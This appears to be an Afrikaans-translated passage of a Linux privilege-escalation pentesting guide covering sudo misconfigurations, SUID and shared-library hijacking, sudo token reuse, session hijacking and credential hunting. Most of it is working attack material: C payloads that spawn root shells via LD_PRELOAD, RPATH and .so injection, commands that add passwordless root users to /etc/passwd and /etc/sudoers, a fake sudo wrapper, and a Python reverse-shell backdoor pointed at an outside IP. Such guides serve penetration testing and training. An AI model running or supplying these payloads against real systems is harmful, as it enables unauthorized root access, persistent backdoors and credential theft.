Sudo uitvoering wat paaie omseil

Spring om ander lêers te lees of gebruik symlinks. Byvoorbeeld in sudoers file: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Indien wildcard gebruik word (*), is dit nog makliker:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Teenmaatreëls: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary without command path

As die sudo permission aan 'n enkele command sonder om die pad te spesifiseer: hacker10 ALL= (root) less kan jy dit uitbuit deur die PATH-variabele te verander

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Hierdie tegniek kan ook gebruik word as 'n suid binary 'n ander command uitvoer sonder om die pad daarvoor te spesifiseer (kontroleer altyd met strings die inhoud van 'n vreemde SUID binary).

Payload examples to execute.

SUID binary met pad na die kommando

If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.

Byvoorbeeld, as 'n suid binary calls /usr/sbin/service apache2 start jy moet probeer om die funksie te skep en dit te export:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Wanneer jy dan die suid-binary aanroep, sal hierdie funksie uitgevoer word

LD_PRELOAD & LD_LIBRARY_PATH

Die LD_PRELOAD omgewingsveranderlike word gebruik om een of meer gedeelde biblioteke (.so files) aan te dui wat deur die loader voor alle ander gelaai word, insluitend die standaard C-biblioteek (libc.so). Hierdie proses staan bekend as die voorlaai van 'n biblioteek.

Om stelsel-sekuriteit te handhaaf en te verhoed dat hierdie funksie uitgebuit word, veral met suid/sgid uitvoerbare lêers, handhaaf die stelsel egter sekere voorwaardes:

• Die loader ignoreer LD_PRELOAD vir uitvoerbare lêers waar die werklike gebruiker-ID (ruid) nie ooreenstem met die effektiewe gebruiker-ID (euid) nie.
• Vir uitvoerbare lêers met suid/sgid word slegs biblioteke in standaardpaaie wat ook suid/sgid is, voorafgelaai.

Privilegie-eskalasie kan plaasvind as jy die vermoë het om opdragte met sudo uit te voer en die uitset van sudo -l die stelling env_keep+=LD_PRELOAD insluit. Hierdie konfigurasie laat toe dat die LD_PRELOAD omgewingsveranderlike behou en herken word selfs wanneer opdragte met sudo uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde voorregte.

Defaults        env_keep += LD_PRELOAD

Stoor as /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Dan compile dit met behulp van:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Laastens, escalate privileges uitvoer

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

'n soortgelyke privesc kan misbruik word as die aanvaller die LD_LIBRARY_PATH env variable beheer, omdat hy die pad beheer waar biblioteke gesoek gaan word.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Wanneer jy op 'n binary met SUID permissies stuit wat ongewoon voorkom, is dit 'n goeie praktyk om te verifieer of dit .so-lêers behoorlik laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Byvoorbeeld, die voorkoms van 'n fout soos "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)" dui op 'n potensiële uitbuitingsmoontlikheid.

Om dit uit te buiten, sal 'n mens voortgaan deur 'n C-lêer te skep, byvoorbeeld "/path/to/.config/libcalc.c", wat die volgende kode bevat:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Hierdie code, sodra dit gekompileer en uitgevoer is, poog om voorregte te verhoog deur lêertoestemmings te manipuleer en 'n shell met verhoogde voorregte uit te voer.

Kompileer die bostaande C-lêer in 'n shared object (.so)-lêer met:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Laastens, deur die aangetaste SUID binary uit te voer, behoort die exploit te aktiveer, wat moontlike system compromise toelaat.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Nou dat ons 'n SUID binary gevind het wat 'n library laai uit 'n gids waarin ons kan skryf, kom ons skep die library in daardie gids met die nodige naam:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

As jy 'n fout kry soos

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

dit beteken dat die biblioteek wat jy gegenereer het 'n funksie met die naam a_function_name moet hê.

GTFOBins

GTFOBins is 'n gekurde lys van Unix binaries wat deur 'n aanvaller misbruik kan word om plaaslike sekuriteitsbeperkings te omseil. GTFOArgs is dieselfde maar vir gevalle waar jy slegs argumente kan injekteer in 'n opdrag.

Die projek versamel geldige funksies van Unix binaries wat misbruik kan word om uit beperkte shells te breek, privileges te eskaleer of te behou, lêers oor te dra, bind- en reverse-shells te spawn, en ander post-exploitation-take te vergemaklik.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

{{#ref}} https://gtfobins.github.io/ {{#endref}}

{{#ref}} https://gtfoargs.github.io/ {{#endref}}

FallOfSudo

As jy toegang tot sudo -l het, kan jy die tool FallOfSudo gebruik om te kontroleer of dit uitvind hoe om enige sudo-reël te misbruik.

Reusing Sudo Tokens

In gevalle waar jy sudo access het maar nie die wagwoord nie, kan jy privileges eskaleer deur te wag vir 'n sudo-opdrag-uitvoering en dan die sessietoken te kaap.

Requirements to escalate privileges:

• Jy het reeds 'n shell as gebruiker "sampleuser"
• "sampleuser" het sudo gebruik om iets uit te voer in die laaste 15mins (standaard is dit die duur van die sudo-token wat ons toelaat om sudo te gebruik sonder om 'n wagwoord in te voer)
• cat /proc/sys/kernel/yama/ptrace_scope is 0
• gdb is toeganklik (jy sal dit kan oplaai)

(You can temporarily enable ptrace_scope with echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope or permanently modifying /etc/sysctl.d/10-ptrace.conf and setting kernel.yama.ptrace_scope = 0)

If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject

• The first exploit (exploit.sh) will create the binary activate_sudo_token in /tmp. You can use it to activate the sudo token in your session (you won't get automatically a root shell, do sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• Die tweede exploit (exploit_v2.sh) sal 'n sh shell in /tmp skep deur root besit met setuid

bash exploit_v2.sh
/tmp/sh -p

• Die derde exploit (exploit_v3.sh) sal 'n sudoers-lêer skep wat sudo tokens permanent maak en alle gebruikers toelaat om sudo te gebruik

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

As jy write permissions in die vouer of op enige van die geskepte lêers binne die vouer het, kan jy die binary write_sudo_token gebruik om 'n sudo token vir 'n user en PID te skep.
Byvoorbeeld, as jy die lêer /var/run/sudo/ts/sampleuser kan overwrite en jy het 'n shell as daardie user met PID 1234, kan jy obtain sudo privileges sonder om die password te ken deur dit te doen:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Die lêer /etc/sudoers en die lêers binne /etc/sudoers.d stel in wie sudo kan gebruik en hoe. Hierdie lêers kan standaard slegs deur gebruiker root en groep root gelees word.
As jy hierdie lêer kan lees kan jy moontlik interessante inligting bekom, en as jy enige lêer kan skryf sal jy in staat wees om escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

As jy kan skryf, kan jy hierdie toestemming misbruik.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Nog 'n manier om hierdie toestemmings te misbruik:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Daar is 'n paar alternatiewe vir die sudo binary soos doas vir OpenBSD; onthou om sy konfigurasie by /etc/doas.conf na te gaan.

permit nopass demo as root cmd vim

Sudo Hijacking

As jy weet dat 'n gebruiker gewoonlik met 'n masjien verbind en sudo gebruik om bevoegdhede te verhoog en jy het 'n shell binne daardie gebruikerskonteks, kan jy 'n nuwe sudo executable skep wat jou kode as root sal uitvoer en daarna die gebruiker se command. Verander dan die $PATH van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo executable uitgevoer word.

Let wel dat as die gebruiker 'n ander shell gebruik (nie bash nie) sal jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld sudo-piggyback wysig ~/.bashrc, ~/.zshrc, ~/.bash_profile. Jy kan nog 'n voorbeeld vind in bashdoor.py

Of deur iets soos die volgende uit te voer:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Gedeelde Biblioteek

ld.so

Die lêer /etc/ld.so.conf dui aan waar die gelaaide konfigurasielêers vandaan kom. Gewoonlik bevat hierdie lêer die volgende inskrywing: include /etc/ld.so.conf.d/*.conf

Dit beteken dat die konfigurasielêers uit /etc/ld.so.conf.d/*.conf gelees sal word. Hierdie konfigurasielêers wys na ander vouers waar biblioteke gesoek sal word. Byvoorbeeld, die inhoud van /etc/ld.so.conf.d/libc.conf is /usr/local/lib. Dit beteken dat die stelsel na biblioteke binne /usr/local/lib sal soek.

Indien om een of ander rede 'n gebruiker skryfregte op enige van die aangeduide paaie het: /etc/ld.so.conf, /etc/ld.so.conf.d/, enige lêer binne /etc/ld.so.conf.d/ of enige vouer wat in die konfigurasielêer binne /etc/ld.so.conf.d/*.conf aangetoon word, mag hy in staat wees om bevoegdhede te eskaleer.
Kyk na hoe om hierdie miskonfigurasie uit te buit op die volgende bladsy:

{{#ref}} ld.so.conf-example.md {{#endref}}

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Deur die lib na /var/tmp/flag15/ te kopieer, sal dit deur die program op hierdie plek gebruik word soos gespesifiseer in die RPATH-variabele.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Skep dan 'n kwaadwillige biblioteek in /var/tmp met gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Vermoëns

Linux-vermoëns bied 'n substel van die beskikbare root-voorregte aan 'n proses. Dit verdeel effektief root voorregte in kleiner en onderskeibare eenhede. Elkeen van hierdie eenhede kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volledige stel voorregte verminder, wat die risiko's van misbruik verlaag.
Lees die volgende bladsy om meer te leer oor vermoëns en hoe om dit te misbruik:

{{#ref}} linux-capabilities.md {{#endref}}

Gidspermissies

In 'n gids impliseer die bit vir "execute" dat die betrokke gebruiker kan "cd" na die vouer.
Die "read"-bit impliseer dat die gebruiker die lêers kan lys, en die "write"-bit impliseer dat die gebruiker lêers kan verwyder en nuwe lêers kan skep.

ACLs

Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, in staat om die tradisionele ugo/rwx-toestemmings te oorheers. Hierdie toestemmings verbeter die beheer oor lêer- of gids-toegang deur regte toe te laat of te weier aan spesifieke gebruikers wat nie eienaars is of deel van die groep nie. Hierdie vlak van granulariteit verseker meer presiese toegangsbestuur. Verdere besonderhede kan gevind word here.

Gee gebruiker "kali" lees- en skryfregte oor 'n lêer:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Kry lêers met spesifieke ACLs vanaf die stelsel:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Oop shell sessions

In ou weergawes kan jy 'n shell session van 'n ander gebruiker (root) hijack.
In nuutste weergawes sal jy slegs na screen sessions van jou eie gebruiker kan connect. Egter, kan jy interessante inligting binne die session vind.

screen sessions hijacking

Lys screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Koppel aan 'n sessie

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmux sessions hijacking

Dit was 'n probleem met old tmux versions. Ek kon as 'n nie-geprivilegieerde gebruiker nie 'n tmux (v2.1) sessie wat deur root geskep is hijack nie.

Lys tmux sessies

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Koppel aan 'n sessie

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Kyk na die Valentine box van HTB vir 'n voorbeeld.

SSH

Debian OpenSSL Voorspelbare PRNG - CVE-2008-0166

Alle SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout geraak wees.
Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien slegs 32,768 variasies moontlik was. Dit beteken dat al die moontlikhede bereken kan word en met die ssh publieke sleutel kan jy soek na die ooreenstemmende private sleutel. Jy kan die berekende moontlikhede hier vind: https://github.com/g0tmi1k/debian-ssh

SSH Interessante konfigurasiewaardes

• PasswordAuthentication: Bepaal of wagwoordverifikasie toegelaat word. Die verstek is no.
• PubkeyAuthentication: Bepaal of publieke sleutel-verifikasie toegelaat word. Die verstek is yes.
• PermitEmptyPasswords: Wanneer wagwoordverifikasie toegelaat word, bepaal dit of die bediener aanmeldings na rekeninge met leë wagwoordstringe toelaat. Die verstek is no.

PermitRootLogin

Bepaal of root kan aanmeld via ssh; verstek is no. Moontlike waardes:

• yes: root kan aanmeld met wagwoord en private sleutel
• without-password or prohibit-password: root kan slegs met 'n private sleutel aanmeld
• forced-commands-only: Root kan slegs aanmeld met 'n private sleutel en as die opdragopsies gespesifiseer is
• no : nee

AuthorizedKeysFile

Bepaal lêers wat die publieke sleutels bevat wat gebruik kan word vir gebruiker-verifikasie. Dit kan tokens soos %h bevat, wat vervang sal word deur die tuismap. Jy kan absolute paaie aandui (begin met /) of relatiewe paaie vanaf die gebruiker se tuismap. Byvoorbeeld:

AuthorizedKeysFile    .ssh/authorized_keys access

Daardie konfigurasie dui aan dat as jy probeer om aan te meld met die private key van die gebruiker "testusername", sal ssh die public key van jou key vergelyk met dié wat in /home/testusername/.ssh/authorized_keys en /home/testusername/access geleë is

ForwardAgent/AllowAgentForwarding

SSH agent forwarding stel jou in staat om use your local SSH keys instead of leaving keys (sonder passphrases!) op jou server te laat staan. Dit beteken dat jy in staat sal wees om jump via ssh to a host en van daar jump to another host using die key geleë in jou initial host.

Jy moet hierdie opsie in $HOME/.ssh.config instel soos volg:

Host example.com
ForwardAgent yes

Let wel dat as Host * is, elke keer wanneer die gebruiker na 'n ander masjien spring, daardie masjien toegang tot die sleutels sal hê (wat 'n sekuriteitskwessie is).

Die lêer /etc/ssh_config kan hierdie opsies oorheers en hierdie konfigurasie toelaat of weier. Die lêer /etc/sshd_config kan ssh-agent forwarding toelaat of weier met die sleutelwoord AllowAgentForwarding (standaard is toegelaat).

As jy sien dat Forward Agent in 'n omgewing geconfigureer is, lees die volgende bladsy aangesien you may be able to abuse it to escalate privileges:

{{#ref}} ssh-forward-agent-exploitation.md {{#endref}}

Interessante Lêers

Profiellêers

Die lêer /etc/profile en die lêers onder /etc/profile.d/ is skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin. Daarom, as jy enigeen daarvan kan skryf of wysig kan jy escalate privileges.

ls -l /etc/profile /etc/profile.d/

As enige vreemde profielskrip gevind word, moet jy dit nagaan vir sensitiewe besonderhede.

Passwd/Shadow Lêers

Afhangend van die OS kan die /etc/passwd en /etc/shadow lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om al die lêers te vind en te kontroleer of jy dit kan lees om te sien of daar hashes in die lêers is:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

Soms kan jy password hashes in die /etc/passwd (of ekwivalente) lêer vind.

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Skryfbaar /etc/passwd

Eerstens, genereer 'n wagwoord met een van die volgende kommando's.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Voeg dan die gebruiker hacker by en voeg die gegenereerde wagwoord by.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Byvoorbeeld: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Jy kan nou die su opdrag gebruik met hacker:hacker

Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy-gebruiker sonder 'n wagwoord by te voeg.
WAARSKUWING: jy kan die huidige sekuriteit van die masjien verswak.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

LET WEL: Op BSD-platforms is /etc/passwd geleë by /etc/pwd.db en /etc/master.passwd, en ook is /etc/shadow hernoem na /etc/spwd.db.

Jy moet nagaan of jy kan skryf in sekere sensitiewe lêers. Byvoorbeeld, kan jy na 'n konfigurasielêer van 'n diens skryf?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Byvoorbeeld, as die masjien 'n tomcat bediener draai en jy kan modify the Tomcat service configuration file inside /etc/systemd/, dan kan jy die reëls wysig:

ExecStart=/path/to/backdoor
User=root
Group=root

Jou backdoor sal die volgende keer dat tomcat gestart word, uitgevoer word.

Kontroleer gidse

Die volgende gidse mag backups of interessante inligting bevat: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer.)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Vreemde ligging/Owned files

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Gewysigde lêers in die laaste minute

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB-lêers

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml lêers

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Verborge lêers

find / -type f -iname ".*" -ls 2>/dev/null

Skripte/Uitvoerbare lêers in PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Web-lêers

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Rugsteunkopieë

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Bekende lêers wat passwords bevat

Lees die kode van linPEAS, dit soek verskeie moontlike lêers wat passwords kan bevat.
Nog 'n interessante hulpmiddel wat jy kan gebruik om dit te doen is: LaZagne wat 'n open source-toepassing is wat gebruik word om baie passwords te onttrek wat op 'n plaaslike rekenaar gestoor is vir Windows, Linux & Mac.

Logs

As jy logs kan lees, kan jy dalk interessante/vertroulike inligting daarin vind. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees.
Ook, sommige "sleg" gekonfigureerde (backdoored?) audit logs kan jou toelaat om passwords op te teken in audit logs soos verduidelik in hierdie pos: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Om logs te lees die groep adm sal baie nuttig wees.

Shell lêers

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Jy moet ook kyk vir lêers wat die woord "password" in die naam of in die inhoud bevat, en kyk ook vir IPs en emails in logs, of hashes regexps.
Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy geïnteresseerd is kan jy die laaste kontroles wat linpeas uitvoer nagaan.

Skryfbare lêers

Python library hijacking

As jy weet vanaf waar 'n python script uitgevoer gaan word en jy kan binne daardie gids skryf of jy kan wysig python libraries, kan jy die os library wysig en dit backdoor (as jy daar kan skryf waar die python script uitgevoer gaan word, kopieer en plak die os.py library).

Om backdoor the library voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

'n Kwesbaarheid in logrotate laat gebruikers met write permissions op 'n log file of sy ouerdirektore potensieel toe om verhoogde bevoegdhede te verkry. Dit is omdat logrotate, wat dikwels as root loop, gemanipuleer kan word om ewekansige lêers uit te voer, veral in gidse soos /etc/bash_completion.d/. Dit is belangrik om toestemmings nie net in /var/log na te gaan nie, maar ook in enige gids waar log rotation toegepas word.

Tip

Hierdie kwesbaarheid raak logrotate version 3.18.0 and older

Meer gedetailleerde inligting oor die kwesbaarheid is te vinde op hierdie bladsy: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Jy kan hierdie kwesbaarheid uitbuit met logrotten.

Hierdie kwesbaarheid is baie soortgelyk aan CVE-2016-1247 (nginx logs), dus wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kontroleer of jy bevoegdhede kan eskaleer deur die logs met symlinks te vervang.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Kwesbaarheid verwysing: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

If, for whatever reason, a user is able to write an ifcf-<whatever> script to /etc/sysconfig/network-scripts or it can adjust an existing one, then your system is pwned.

Network-skripte, ifcg-eth0 for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d).

In my case, the NAME= attributed in these network scripts is not handled correctly. If you have white/blank space in the name the system tries to execute the part after the white/blank space. This means that everything after the first blank space is executed as root.

For example: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Let op die leë spasie tussen Network en /bin/id)

init, init.d, systemd, en rc.d

Die gids /etc/init.d bevat scripts vir System V init (SysVinit), die klassieke Linux-diensbestuursisteem. Dit sluit scripts in om dienste te start, stop, restart, en soms reload. Hierdie kan direk uitgevoer word of via simboliese skakels gevind in /etc/rc?.d/. 'n Alternatiewe pad in Redhat-stelsels is /etc/rc.d/init.d.

Aan die ander kant is /etc/init geassosieer met Upstart, 'n nuwer diensbestuur wat deur Ubuntu ingevoer is, en gebruik konfigurasielêers vir diensbestuurtake. Ten spyte van die oorskakeling na Upstart, word SysVinit-scripts steeds langs Upstart-konfigurasies gebruik weens 'n versoenbaarheidslaag in Upstart.

systemd verskyn as 'n moderne initialiserings- en diensbestuurder en bied gevorderde funksies soos on-demand daemon opstart, automount-bestuur, en stelseltoestand-snapshots. Dit organiseer lêers in /usr/lib/systemd/ vir distribusiepakkette en /etc/systemd/system/ vir administrateurwysigings, wat die stelseladministrasieproses vereenvoudig.

Ander truuks

NFS Privilege escalation

{{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}}

Escaping from restricted Shells

{{#ref}} escaping-from-limited-bash.md {{#endref}}

Cisco - vmanage

{{#ref}} cisco-vmanage.md {{#endref}}

Android rooting frameworks: manager-channel abuse

Android rooting frameworks heg gewoonlik 'n syscall om met voorregte kernel-funksionaliteit aan 'n userspace manager bloot te lê. Swak manager-authentisering (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager te imiteer en na root te eskaleer op reeds-ge-rootte toestelle. Lees meer en uitbuitingsbesonderhede hier:

{{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}}

Kernel Sekuriteitsbeskerming

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Meer hulp

Static impacket binaries

Linux/Unix Privesc Tools

Beste hulpmiddel om na Linux local privilege escalation vectors te soek: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

Verwysings

• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
• https://payatu.com/guide-linux-privilege-escalation/
• https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
• http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
